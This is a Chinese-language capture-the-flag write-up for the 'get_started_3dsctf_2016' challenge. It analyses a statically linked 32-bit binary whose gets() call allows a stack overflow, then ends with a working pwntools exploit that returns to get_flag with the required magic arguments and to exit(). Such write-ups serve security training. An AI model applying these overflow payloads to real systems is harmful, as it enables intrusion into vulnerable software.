get_started_3dsctf_2016
这道题是一道很老的题了,很遗憾现在才做到,不是简简单单的stackoverflow,是有灵魂的
Checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,开启了NX,RELRO
File
get_started_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
静态链接
尝试ROPgadget直接生成ropchain,菜未通
Run the program
Qual a palavrinha magica?
接着是等待用户的输入,然后程序结束
Analyse
function - main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
输出"Qual a palavrinha magica? "之后跟上v4
gets():stackoverflow
function - get_flag
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al
if ( a1 == 0x308CD64F && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
}
fclose(v2);
}
}
get_flag()有两个参数,a1和a2。这里我已经将a1和a2转换成了十六进制。if对a1和a2进行了一个判断,符合条件后进行对flag的读取。具体读取过程为:首先v2对flag.txt文件进行一个读取,v3用getc()来接收v2读取的值(getc():从指定的流stream获取下一个字符(一个无符号字符),并把位置标识符往前移动)。在v3不为255时,将值传给v4,用中间变量v5来读取v2的值,并且在v5不为255时,将v5的值赋给v4并输出v4,最终输出的结果就是flag
但是我们发现通过main()的stackoverflow单纯的跳到get_flag()这个函数是无法拿到flag的,这里是因为我们在stackoverflow时覆盖了a1和a2,破坏了输出flag的条件,从而无法得到flag。我们试想,如果我们在stackoverflow时保护了栈结构,使程序达到输出flag的条件,正常退出,是否就可以拿到flag?
于是我们需要exit()
的地址,以及满足条件的a1和a2的值,即0x308CD64F
和0x195719D1
Exp
'''
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
'''
from pwn import *
context(os = "linux" , arch = "i386" , log_level = "debug")
elf = ELF("/mnt/c/Users/M1sceden4/Desktop/get_started_3dsctf_2016")
host = "node4.buuoj.cn"
port = 27979
local = int(input("0 for remote , 1 for local:\t"))
if local == 0:
io = remote(host , port)
elif local == 1:
io = elf.process()
ret = 0x08048196
exits = elf.sym['exit']
success("got exit addr : %s" % hex(exits))
payload = b"a" * 0x38 + p32(0x080489A0) + p32(exits) + p32(0x308CD64F) + p32(0x195719D1)
# io.recvuntil("Qual a palavrinha magica? " , timeout = 0.5)
io.sendline(payload)
io.recvline()
io.interactive()
注意flag的位置